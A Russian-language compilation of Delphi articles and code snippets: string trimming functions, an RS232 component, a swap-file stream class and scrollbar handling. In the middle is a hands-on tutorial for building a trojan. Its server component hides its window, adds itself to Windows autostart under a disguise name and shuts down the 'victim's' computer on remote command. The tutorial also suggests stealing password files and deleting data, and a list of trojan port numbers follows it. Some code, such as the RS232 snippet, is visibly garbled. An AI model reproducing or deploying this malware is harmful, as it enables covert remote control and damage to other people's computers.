        IF (EXISTS (SELECT tOst.Id FROM tOst
                    WHERE tOst.Id = tInv.Id))
        THEN
            EXCEPTION EST_OSTATOK;
    END !!
SET TERM ;!!
DBase.StartTransaction;
try
  Query.ExecSQL;
  DBase.Commit;
except
  DBase.Rollback;
  raise;    // Для последующей обработки
end;

Очистка строки слева и справа от указанных символов.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Очистка строки слева и справа от указанных символов
Функция возвращает word, очищеный от начальных и конечных символов, которые
попадают в строку TrimSymbols.
Например, ShowMessage (TrimEx('<MegaTeg>', '<>')), выведет сообщение "MegaTeg"
(без кавычек).
Зависимости: system, sysutils
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        25 апреля 2002 г.
***************************************************** }
function TrimEX(Word, TrimSymbols: string): string;
var
  x, a, b: Integer;
begin
  Result := Word;
  if TrimSymbols = '' then
    exit;
  Word := Trim(word);
  if length(word) = 0 then
    exit;
  x := 0;
  repeat
    x := x + 1;
  until (pos(ansiuppercase(word[x]), ansiuppercase(TrimSymbols)) = 0)
    or (x = length(word));
  a := x;
  x := length(word) + 1;
  repeat
    x := x - 1;
  until (pos(ansiuppercase(word[x]), ansiuppercase(TrimSymbols)) = 0)
    or (x = 1);
  b := x;
  word := copy(word, a, b - a + 1);
  result := word;
end;

Очистка строки слева и справа от указанного символа.

Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Очистка строки слева и справа от указанного символа
Функция возвращает строку Str, очищенную слева и справа от указанного символа Symbol.
Работает быстрее аналогичной функции UBPFD.TrimEx, так как не использует функцию
поиска Pos, имеет более компактный код.
Зависимости: System, SysUtils
Автор:       lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright:   Собственное написание (lipskiy)
Дата:        2 июня 2002 г.
***************************************************** }
function TrimString(Str: string; Symbol: char): string;
begin
  Result := Str;
  if Str = '' then
    exit;
  Str := Trim(Str);
  // Удаляем в начале строки
  while (length(Str) > 0) and
    (AnsiUpperCase(Str[1]) = AnsiUpperCase(Symbol)) do
    Delete(Str, 1, 1);
  // Удаляем в конце строки
  while (length(Str) > 0) and
    (AnsiUpperCase(Str[length(Str)]) = AnsiUpperCase(Symbol)) do
    Delete(Str, length(Str), 1);
  Result := Str;
end;

Боевой конь за 10 минут.

Автор: Павел Ты уже сто раз слышал это магическое слово - "Троян". И мы уже много раз обозревали различных коней этой породы. Сегодня... ты можешь создать своего собственного боевого коня. Ну, а если вдруг не захочешь сделать это прямо сейчас, то, по крайней мере, узнаешь, как работают трояны изнутри. Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов и ближе к телу. Троянский сервер Запускай Delphi или, если он у тебя уже запущен, создавай новый проект ("File" - "New Application"). Сейчас мы примемся за серверную часть трояна. Для начала выбери пункт меню "Options" из меню "Project". Перед тобой будет окно. Здесь ты должен перенести "Form1" из раздела "Auto-Create forms" (список слева) в "Available forms" (список справа), как это сделано у меня. Только что мы отключили Form1 из списка автоинициализируемых форм. Теперь инициализацию придется произвести вручную. Не пугайся, это очень просто. На странице "Application" этого же диалога есть кнопка "Load Icon". Нажми ее, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячья, а она быстро выдаст твое смертельное оружие. Теперь ты должен бросить на форму компонент ServerSocket из раздела "Internet", это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство "Port". По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).

Теперь щелкни в любом месте на форме, чтобы активизировать ее свойства. Перейди в ObjectInspector и щелкни по закладке Events. Дважды щелкни по строке "OnCreate", и Delphi, как всегда, создаст процедуру, которая будет выполняться при инициализации формы. Напиши там следующее:

procedure TForm1.FormCreate(Sender: TObject);
var
  RegIni: TRegIniFile;
begin
  RegIni := TRegIniFile.Create('Software');
  RegIni.RootKey := HKEY_LOCAL_MACHINE;
  RegIni.OpenKey('Software', true);
  RegIni.OpenKey('Microsoft', true);
  RegIni.OpenKey('Windows', true);
  RegIni.OpenKey('CurrentVersion', true);
  RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName);
  RegIni.Free;
  ServerSocket1.Active := true;
end;
Теперь перейди в начало текста и напиши после "uses" слово "registry". Мы уже делали такую операцию в статье про мега-плеер, но я повторю, как это будет выглядеть:
uses registry, Windows, Messages, 
Теперь я объясню, что мы написали в процедуре. "var RegIni:TRegIniFile" - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром. "RegIni:=TRegIniFile.Create('Software')" - инициализируем переменную, указывающую на реестр. "RegIni.RootKey:=HKEY_LOCAL_MACHINE" говорим, что нас интересует раздел HKEY_CURRENT_USER реестра. "RegIni.OpenKey('Software', true)" - открываем подраздел "Software". Дальше я последовательно открываю подразделы, пробираясь в недра окошек. "RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)" - записываю в раздел "RunServices" (в этом разделе хранятся проги, которые автоматически загружаются при старте) новый параметр с именем "Internat32.exe" (имя будущего файла) и значением Application.ExeName (здесь хранится полный путь к запущенному трояну). "RegIni.Free" - уничтожаю ненужный больше объект RegIni. Все это делалось, чтобы при запуске проги она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память. Самая последняя строка "ServerSocket1.Active:=true" запускает сервер на указанном тобой порте.

С загрузкой покончено. Теперь давай займемся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щелкни по строке "OnDistroy". Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:

procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
  ServerSocket1.Active := false;
end;
Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключен к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищенности его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не нужно (забегу вперед и скажу, что мы сами будем перегружать компьютер жертвы).

Теперь надо выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щелкни по строке "OnClientRead" и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  if Socket.ReceiveText = 'R' then
    ExitWindowsEx(EWX_SHUTDOWN, 0);
end;
Теперь смотри, как это звучит по-нашему: Если полученный текст = букве 'R' то Отправить компьютер в редаун. ExitWindowsEx - редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои измененные данные. Если ты злей меня, то используй EWX_FORCE. В этом случае компьютер упадет без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортить :). Троян практически готов, сохрани его. Для этого выбери "Save All" из меню "File". Сначала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми "Сохранить". Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его "Internat32", чтобы файл не вызывал особых подозрений. Конюшня для коня Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню "Project Manager" из меню "View". Перед тобой откроется окно.

Щелкни правой кнопкой по Internat32.exe и в появившемся меню выбери "View Source". Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь, с этим текстом, и допиши то, чего не хватает, а что лишнее - убери (не так уж и много):

program Internat32;
uses
  Forms,
  Windows.
  Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
  WhEvent: THandle;
begin
  Application.Initialize;
  ShowWindow(Application.Handle, SW_Hide);
  Form1 := TForm1.Create(nil);
  Application.Run;
  WhEvent := CreateEvent(nil, true, false, 'et');
  while (true) do
  begin
    WaitForSingleObject(WhEvent, 1000);
    Application.ProcessMessages;
  end;
end.
Будь внимателен при переписывании. Все должно быть один к одному. Теперь я расскажу, что здесь написано: В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует все, что написано после слова "Var". WhEvent:THandle - Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle. Application.Initialize - Инициализируется троян. ShowWindow(Application.Handle, SW_Hide) - Устанавливаю параметры окна. Параметр SW_Hide - говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают о таком имени) имя. Form1:=TForm1.Create(nil) - создаю форму. Мне приходится это делать так, потому что мы убрали форму из списка авто создаваемых. Application.Run - запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь все очень просто. WhEvent:=CreateEvent(nil, true,false, 'et') - инициализация пустого события. Следующие пять строчек я напишу словами, а ты разберешься, как всегда, методом сравнения:
Пока (true) выполнять
Начать цикл
  Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
  Получить управление
Закончить цикл
Две строчки между началом и концом цикла будут выполняться бесконечно, потому что true, оно всегда true, и из этого цикла выхода нет. Вся фишка - в двух особенностях цикла: 1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождет его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда). 2. Отдается команда "Получить управление". После второго шага программа снова перейдет на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передается управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно - приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем. Нажми "Ctrl+F9", чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь ее тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices. Не забудь после тестирования его удалить. Теперь переходим к клиентской части, которую ты должен будешь запустить на своем компьютере для управления компьютером жертвы. Троянский всадник Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Еще пара минут напряженного труда, и все красавицы наши :). На новый проект ты должен бросить три компонента: 1. Button из закладки "Standart" для отправки команды на компьютер жертвы. 2. Edit из закладки "Standart" для ввода имени или адреса жертвы. 3. ClientSocket из закладки "Internet" клиент порта для связи с сервером. Выдели ClientSocket1 и в ObjectInspector-е измени свойство порта. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.

Теперь дважды щелкни по кнопке, и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.

procedure TForm1.Button1Click(Sender: TObject);
begin
  ClientSocket1.Host := Edit1.Text;
  ClientSocket1.Active := true;
  ClientSocket1.Socket.SendText('R');
  ClientSocket1.Active := false;
end;
ClientSocket1.Host:=Edit1.Text - В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в Инете, то там ты имя никак не сможешь узнать. Тебе придется использовать IP адрес, а значит эта строчка заменится на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP-адрес. ClientSocket1.Active:=true - активировать соединение с сервером. ClientSocket1.Socket.SendText('R') - отправить букву R. Помнишь, что у нас было пару минут назад? Если сервер получит букву R, то он перегрузит машину. ClientSocket1.Active:=false - закрыть соединение с сервером. Усе Все. Троян готов к бою. Нажми "Ctrl+F9", чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своем компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузиться. Да, кстати: хочу сказать тебе, что эта прога, ясный перец, не раскрывает перед тобой все потенциальные возможности нашего трояна. Его можно научить еще целой куче вещей - утягиванию рwl'ок, игре с подставкой под кофе, удалению данных с чужой машины. Но все это тебе придется делать самому, плотно порывшись в каком-нибудь толковом доке по Дельфям :).

На этом я закругляюсь. Удачи тебе.

Троянские порты.

Оформил: DeeCo

Номер порта. Протокол. Название трояна.
21 TCP. Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx, WinCrash
23 TCP. Tiny Telnet Server
25 TCP. Antigen, Email Password Sender, Haebu Coceda, Shtrilitz Stealth, Terminator, WinPC, WinSpy, Kuang2 0.17A-0.30
31 TCP. Hackers Paradise
80 TCP. Executor
456. TCP. Hackers Paradise
555 TCP. Ini-Killer, Phase Zero, Stealth Spy
666 TCP. Satanz Backdoor
1001 TCP. Silencer, WebEx
1011 TCP. Doly Trojan
1095, 1097, 1098, 1099 TCP. Rat
1170 TCP. Psyber Stream Server, Voice
1234 TCP. Ultors Trojan
1243, 6711, 6776 TCP. Sub 7
1245 TCP. VooDoo Doll
1349 UDP. Back Ofrice DLL
1492 TCP. FTP99CMP
1600 TCP. Shivka-Burka
1807 TCP. SpySender
1981 TCP. Shockrave
1999 TCP. BackDoor 1.00-1.03
2001 TCP. Trojan Cow
2023 TCP. Ripper
2115 TCP. BUGS
2140, 3150, 6670, 6771 TCP/UDP. Deep Throat
2140, 3150 TCP. The Invasor
2801 TCP. Phineas Phucker
3024, 5742 TCP. WinCrash
3129 TCP. Masters Paradise
3700, 9872, 9873, 9874, 9875, 10067, 10167 TCP. al of Doom
4092 TCP. WinCrash
4567 TCP. File Nail 1
4590 TCP. ICQTrojan
5000 TCP. Bubbel
5000, 5001 TCP. Sockets de Troie
5321 TCP. Firehotcker
5400, 5401, 5402 TCP. Blade Runner 0.80 Alpha
5569 TCP. Robo-Hack
6969 TCP. GateCrasher, Priority
7000 TCP. Remote Grab
7300, 7301, 7306, 7307, 7308 TCP. NetMonitor
7789 TCP. ICQ Killer
9989 TCP. iNi-Killer
10607 TCP. Coma 1.0.9
11000 TCP. Senna Spy
11223 TCP. Progenic trojan
12223 TCP. Hack'99 KeyLogger
12345, 12346 TCP. NetBus 1.20-1.70, GabanBus
12361 ,12362 TCP. Whack-a-mole
16969 TCP. Priority
20001 TCP. Millennium
20034 TCP. NetBus 2.0 Beta-NetBus 2.01
21544 TCP. GirlFriend 1.0 Beta-1.35
22222 TCP. Prosiak
23456 TCP. Evil FTP, Ugly FTP
26274, 47262 TCP. Delta
30100, 30101, 30102 TCP. NetSphere 1.27a
30100, 30101, 30102 , 30103, 30103, 30103 TCP/UDP. NetSphere 1.31
31337 UDP. BackOfrice 1.20
31338 UDP. DeepBO
31339 TCP. NetSpy DK
31666 UDP. BOWhack
31785, 31787, 31789, 31791, 31789, 31791 TCP/UDP. Hack Attack
33333 TCP. Prosiak
34324 TCP. BigGluck, TN
40412 TCP. The Spy
40421, 40422, 40423, 40426 TCP. Masters Paradise
50505 TCP. Sockets de Troie
50766 TCP. Fore
53001 TCP. Remote Windows Shutdown
54321 TCP. SchoolBus .69-1.11
61466 TCP. Telecommando
65000 TCP. Devil 1.3
69123 TCP. ShitHeep
3003 TCP. Смерть Ламера

Компонент для последовательного устройства (TRS232).

Просыпается программист с большого бодуна, поворачивается, а рядом какая-то девушка лежит. - Оорs, обнаружено новое устройство...

Компонент, который представлен здесь, выполняет функции синхронного чтения и записи в последовательный интерфейс RS232.

В цикле выполняется Application.ProcessMessages, чтобы все сообщения от основной программы обрабатывались.

Ниже приведён метод ReadString из компонента TRS323:

function TRS232.ReadString(var aResStr: string; aCount: word ): boolean;
var
  nRead: dword;
  Buffer: string;
  Actual, Before: TDateTime;
  TimeOutMin, TimeOutSec, lCount: word;
begin
  Result := false;
  if not Connected then
    if not Connect then
      raise Exception.CreateHelp('RS232.ReadString:' +
      ' Connect not possible !', 101);
  aResStr := '';
  TimeOutMin:=TimeOut div 60;
  TimeOutSec:=TimeOut mod 60;
  if (not Connected) or (aCount then
    EXIT;
  nRead := 0; lCount := 0;
  Before := Time;
  while lCount do
  begin
    Application.ProcessMessages;
    SetLength(Buffer,1);
    if ReadFile( FComPortHandle, PChar(Buffer)^, 1, nRead, nil) then
    begin
      if nRead > 0 then
      begin
        aResStr := aResStr + Buffer;
        inc(lCount);
      end;
      Actual := Time;
      if Actual-Before>EncodeTime(0, TimeOutMin, TimeOutSec, 0) then
        raise Exception.CreateHelp('RS232.ReadString: TimeOut !', 103);
    end
    else
    begin
      raise Exception.CreateHelp('RS232.ReadString: Read not possible !', 104);
    end;
  end;
  Result:=true;
end;

TRyMenu — собственная отрисовка меню.

Автор: Алексей Румянцев Статьи по Delphi (017)… Перестала мне тут на днях нравиться борландовская прорисовка меню... Вот вобщем-то и все что можно сказать о представленном Вашему вниманию классе TRyMenu. Никаких дочерних классов, вешаемся на OnAdvancedDrawItem и далее чисто рисование по канве. Ну а художественные фантазии они у каждого свои и чуть напрягшись на ней(на канве) можно и переливы и пейзаж нарисовать, но кто этим балуется наверняка уже свои классы имеет, а это так минимальный набор для прорисовки меню в новом стиле. Демо прилагается. Написано на Delphi5. Тестировалось на Win98. WinXP. В случае обнаружения ошибки или несовместимости с другими версиями Delphi и Windows, просьба сообщить автору. Ваши вопросы и замечания присылайте по адресу.

Скачать проект TRyMenu.zip (10K) 22.04.02.

TRySharedSream — класс упрощающий работу с файлом подкачки.

Автор: Алексей Румянцев Специально для Королевства Delphi TSharedStream (версия 1) Когда-то (кажется год назад) на страницах "королевства" я прочитал статью об использовании файла подкачки как о временном хранилище данных. ( Имеется ввиду статья Дмитрия Логинова Ядро системы и антиотладочные приемы.) После этой статьи я заинтересовался работой с Swар'ом. Некотое время в работе я пользовался чисто FilеМаррingFun'кциями, что оказалось нудно и трудоемко (не так чтобы очень, но согласитесь, что легче хранить всю информацию в одном месте[классе], чем иметь несколько переменных и помнить когда и как их надо использовать). Написал первую версию класса-обертки над FilеМаррingFun'кциями и все как-будто было нормально, но убивало одно НО - не было возможности изменять размер области["страницы"] под данные выделенной при ее создании, т.е. надо было заранее знать размер информации, которую вы собираетесь в нее записать. В TSharedStream я решил эту проблему, плохо или хорошо трудно сказать - по сравнению с невозможностью изменить размер - хорошо, а по качеству реализации - не очень. Подробнее ... TSharedSream (v.1) — класс упрощающий работу с файлом подкачки Прошло н-ное кол-во времени, появилось желание сделать работу класса правильней, действенней, качественней (нужного слова не подобрать). TRySharedStream (версия 2) TRySharedStream(версия 2) - полностью переписанная версия TSharedStream. Пользовательская сторона работы с классом осталась неизменной (единственное был переименован сам класс и его юнит), а внутреннее содержание притерпело изменения. Не бойтесь, работа файла подкачки не изменилась :o), а вот работа TSharedStream меня устраивать перестала - пересоздание бОльших по объему страниц и перемещение данных из одной в другую по несколько раз хоть и работает быстро, но выглядело по скобарски. Для решения этой проблемы рассматривались альтернативные варианты, которые особо не улудшали ситуацию, так например вариант с созданием одной, но большой страницы проблему лишь временно скрывало, но не решало ее.

Результатом же раздумий стал многостраничный вариант, т.е. группа маленьких страниц, хранящих информацию, при необходимости добавляются новыми страницами в которые и дозаписываются данные, в результате.

а. страница в файле подкачки становится как бы резиновой. б. винт не занимается бессмысленной работой. в. место на диске (в Swар'е) расходуется экономично(экономично или нет будет зависеть уже только от вас - сколько вы туда запишите :o)) г. скорость (скорость вас должна порадовать и поэтому этот пункт можно назвать не "г" а "с" - от слова "свист", т.е. работать будет со свистом. Хотя и здесь есть двусмыслица: с одной стороны если программа работает со свистом, то это хорошо, а если винт работает с подозрительным свистом, то это плохо. :o)). Результатом так же стало разделением TSharedStream на два класса TRySharedMem и TRySharedStream.

TRySharedMem -

сам по себе независимый класс, потомок TObject, не тянущий за собой Forms, TApplication, TComponent и т.п.; является чисто оберткой над FileMappingFunctions, но скрывающий все сложности обращения с ними; позволяет создавать объект файлового отображения (как страничного swap-файла, так и обычного файла); позволяет разделять одну область отображения между различными процессами(программами); имеет дополнительные функции Read/Write (аналогичные TStream.Read/TStream.Write). TRySharedStream - Потомок TStream, не тянущий за собой Forms, TApplication, TComponent и т.п. базируется на работе TRySharedMem, аналог временным файлам и постоянным страхам нехватки памяти - т.е. аналог TFileStream и TMemoryStream; расширяет возможности работы с файлом подкачки - размер записываемых данных ограничивается толь местом на диске. Единственное сейчас TRySharedStream не поддерживает разделения области отображения между различными процессами(программами) как в TRySharedMem, но в следующей версии, скорей всего, эта возможность будет доступна (мысль как это сделать уже есть). Лицензионное соглашение Лицензионное соглашение написано в каждом сооветствующем юните, здесь же написано некоторое пояснение : TRySharedMem и TRySharedStream - это, по большому счету, базируются на результате(ах) работы FileMappingFunctions, но немалое значение здесь имеет и человеческий фактор: как вы распорядитесь объектами отображения, какой файл вы отобразите и что, как и сколько вы туда запишите никто не может знать, а файловая область, как вы знаете, это не шутка. Поэтому программный код дается вам бесплатно, по принципу "as is". Автор и "Королевство Дельфи" снимают с себя всю ответственность за результаты работы классов. Весь риск по работе с этими классами ложится на вас и только вас. Если вы не согласны с лицензионным соглашением или с некоторыми пунктами - вы не должны использовать данный програмный код в ваших проектах.

Класс TRySharedSream

unit RySharedStream;
interface
uses
  SysUtils, Windows, Classes, RySharedMem;
{$IFDEF VER120}
{$DEFINE D5}
{$ENDIF}
{$IFDEF VER130}
{$DEFINE D5}
{$ENDIF}
{$IFDEF VER140}
{$DEFINE D6}
{$ENDIF}
type
  { TRyPageList }
  TRyPageList = class(TList)
  protected
    function Get(Index: Integer): TRySharedMem;
    procedure Put(Index: Integer; Item: TRySharedMem);
  public
    property Items[Index: Integer]: TRySharedMem read Get write Put; default;
  end;
  { TRySharedStream }
  TRySharedStream = class(TStream) { Для совместимости с TStream }
  private
    FSize: Longint; { Реальный размер записанных данных }
    FPosition: Longint;
    FPages: TRyPageList;
  protected
    function NewPage: TRySharedMem;
  public
    constructor Create;
    destructor Destroy; override;
    function Read(var Buffer; Count: Longint): Longint; override;
    function Write(const Buffer; Count: Longint): Longint; override;
    function Seek(Offset: Longint; Origin: Word): Longint; override;
    procedure SetSize(NewSize: Longint); override;
    procedure LoadFromStream(Stream: TStream);
    procedure LoadFromFile(const FileName: string);
    procedure SaveToStream(Stream: TStream);
    procedure SaveToFile(const FileName: string);
  public
  end;
implementation
uses RyActiveX;
{resourcestring
  CouldNotMapViewOfFile = 'Could not map view of file.';}
{ TRySharedStream }
{
  * Класс TRySharedStream можно рассматривать как альтернативу
    временным файлам (т.е. как замену TFileStream).
    Преимущество :
      а. Данные никто не сможет просмотреть.
      б. Страницы, зарезервированные под данные, автомотически освобождаются
         после уничтожения создавшего ее ТRуShаrеdStrеаm'а.
 
  * Класс TRySharedStream можно рассматривать как альтернативу
    TMemoryStream.
    Преимущество :
      а. Не надо опасаться нехватки памяти при большом объеме записываемых данных.
         [случай когда физически нехватает места на диске здесь не рассматривается].
 
  Известные проблемы:
    На данный момент таких не выявлено.
    Но есть одно НО. Я не знаю как поведет себя TRySharedStream
    в результате нехватки места
      а. на диске
      б. в файле подкачки (т.е. в системе с ограниченным размером
                           файла подкачки).
}
const
  PageSize = 1024000; { размер страницы }
constructor TRySharedStream.Create;
begin
  FPosition := 0; { Позиция "курсора" }
  FSize := 0; { Размер данных }
  FPages := TRyPageList.Create;
  FPages.Add(NewPage);
end;
destructor TRySharedStream.Destroy;
begin
  with FPages do
    while Count > 0 do
    begin
      Items[Count - 1].Free;
      Delete(Count - 1);
    end;
  FPages.Free;
  inherited;
end;
function TRySharedStream.NewPage: TRySharedMem;
begin
  Result := TRySharedMem.Create(RyActiveX.GUIDToString(RyActiveX.GetGUID), 0,
    PageSize)
    {                                         |}
  {Я знаю что можно не именовать страницу __|}
  {но оказалось не всегда Win98 правильно создает новую}
  {неименнованную страницу. а другого способа получения}
  {уникальной строки я не знаю.                        }
  {если у кого-то будут идеи по этому поводу - милости просим.}
end;
function TRySharedStream.Read(var Buffer; Count: Longint): Longint;
var
  FPos, BPos, FPageNo: Integer;
  ACount, FCount: Longint;
  Buf: PChar;
begin
  Buf := @Buffer;
  ACount := 0;
  if Count > 0 then
  begin
    FCount := FSize - FPosition; {максимальное кол-во, которое можно прочитать}
    if FCount > 0 then
    begin
      if FCount > Count then
        FCount := Count; {если нам нужно прочитать меньше чем можем}
      ACount := FCount; {запоминаем сколько надо}
      FPageNo := FPosition div PageSize; {т.к. у нас многостраничный stream, то
      находим с какой страницы начать читать}
      BPos := 0;
      FPos := FPosition - (PageSize * FPageNo);
        {с какой позиции на странице читаем}
      while FCount > 0 do
      begin
        if FCount > (PageSize - FPos) then
          Count := PageSize - FPos
        else
          Count := FCount; {определяем
        сколько можно прочитать со страницы}
        Move(PChar(FPages.Items[FPageNo].Memory)[FPos], Buf[BPos], Count);
        {считаваем инфо. в буффер}
        Inc(FPageNo); {переходим на следующую страницу}
        Dec(FCount, Count);
        Inc(BPos, Count);
        FPos := 0;
      end;
      Inc(FPosition, ACount);
    end
  end;
  Result := ACount;
end;
function TRySharedStream.Write(const Buffer; Count: Longint): Longint;
var
  FPos, BPos, FPageNo: Integer;
  ASize, ACount, FCount: Longint;
  Buf: PChar;
begin { Функция аналогичная TStream.Write().
  Все пояснения по работе с ней см. в help'e. }
  Buf := @Buffer;
  if Count > 0 then
  begin
    ASize := FPosition + Count; {определяем сколько места нужно для данных}
    if FSize < ASize then
      Size := ASize; {если больше чем было, то увеличиваем размер стрима}
    FCount := Count; {запоминаем сколько надо записать}
    FPageNo := FPosition div PageSize;
      {определяем с какой страницы начинаем писать}
    BPos := 0;
    FPos := FPosition - (PageSize * FPageNo); {вычисляем позицию на странице}
    while FCount > 0 do {пока все не напишем ни куда не уходим}
    begin
      if FCount > (PageSize - FPos) then
        ACount := PageSize - FPos
      else
        ACount := FCount;
      Move(Buf[BPos], PChar(FPages.Items[FPageNo].Memory)[FPos], ACount);
      {пишем сколько влезает до конца страницы}
      Inc(FPageNo); {переходим на следующую страницу}
      Dec(FCount, ACount); {уменьшаем кол-во незаписанных на кол-во записанных}
      Inc(BPos, ACount);
      FPos := 0;
    end;
    FPosition := ASize;
  end;
  Result := Count;
end;
function TRySharedStream.Seek(Offset: Longint; Origin: Word): Longint;
begin { Функция аналогичная TStream.Seek().
  Все пояснения по работе с ней см. в help'e. }
  case Origin of
    soFromBeginning: FPosition := Offset;
    soFromCurrent: Inc(FPosition, Offset);
    soFromEnd: FPosition := FSize - Offset;
  end;
  if FPosition > FSize then
    FPosition := FSize
  else if FPosition < 0 then
    FPosition := 0;
  Result := FPosition;
end;
procedure TRySharedStream.SetSize(NewSize: Longint);
var
  Sz: Longint;
begin { Функция аналогичная TStream.SetSize().
  Все пояснения по работе с ней см. в help'e. }
  inherited SetSize(NewSize);
  if NewSize > (PageSize * FPages.Count) then
    { Если размер необходимый для записи
    данных больше размера выделенного под наш stream, то мы должны
    увеличить размер stream'a}
  begin { ...но FileMapping не поддерживает изменения размеров "страницы",
    что не очень удобно, поэтому приходится выкручиваться. }
    Sz := NewSize div (PageSize * FPages.Count);
    { думаем сколько нужно досоздать страниц под данные }
    while Sz > 0 do {создаем страницы}
    begin
      FPages.Add(NewPage);
      Dec(Sz);
    end;
  end;
  FSize := NewSize; { Запоминаем размер данных }
  if FPosition > FSize then
    FPosition := FSize;
end;
procedure TRySharedStream.LoadFromFile(const FileName: string);
var
  Stream: TFileStream;
begin
  Stream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
  try
    LoadFromStream(Stream)
  finally
    Stream.Free
  end
end;
procedure TRySharedStream.LoadFromStream(Stream: TStream);
begin
  CopyFrom(Stream, 0);
end;
procedure TRySharedStream.SaveToFile(const FileName: string);
var
  Stream: TFileStream;
begin
  Stream := TFileStream.Create(FileName, fmCreate);
  try
    SaveToStream(Stream)
  finally
    Stream.Free
  end
end;
procedure TRySharedStream.SaveToStream(Stream: TStream);
begin
  Stream.CopyFrom(Self, 0);
end;
{ TRyPageList }
function TRyPageList.Get(Index: Integer): TRySharedMem;
begin
  Result := TRySharedMem(inherited Get(Index))
end;
procedure TRyPageList.Put(Index: Integer; Item: TRySharedMem);
begin
  inherited Put(Index, Item)
end;
end.

Прилагается демонстрационный пример использования TRySharedStream : TTySharedStream.zip (13 K).

Класс TRyTimer.

Описание: Обертка для стандартного Windоws'таймера. Аналог TTimer. Отличия от ТТimеr'а: не тянет за сабой TComponent, uses Forms, Application Написано на Delphi5. Тестировалось на Win98. WinXP. В случае обнаружения ошибки или несовместимости с другими версиями Delphi и Windows, просьба сообщить автору. Скачать Демо_Архив TRyTimer.zip (4 K) 22.04.02

Как отловить сообщения о прокрутке TScrollBar.

Автор: Олег Кулабухов

Нижеприведенный пример передвигает второй ScrollBar на такое же количество едениц, на которое передвинет пользователь первый. Т.е. синхронизирует их.

type
{$IFDEF WIN32}
  WParameter = LongInt;
{$ELSE}
  WParameter = Word;
{$ENDIF}
  LParameter = LongInt;
  {Declare a variable to hold the window procedure we are replacing}
var
  OldWindowProc: Pointer;
function NewWindowProc(WindowHandle: hWnd;
  TheMessage: WParameter;
  ParamW: WParameter;
  ParamL: LParameter): LongInt
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
var
  TheRangeMin: integer;
  TheRangeMax: integer;
  TheRange: integer;
begin
  if TheMessage = WM_VSCROLL then
  begin
    {Get the min and max range of the horizontal scroll box}
    GetScrollRange(WindowHandle,
      SB_HORZ,
      TheRangeMin,
      TheRangeMax);
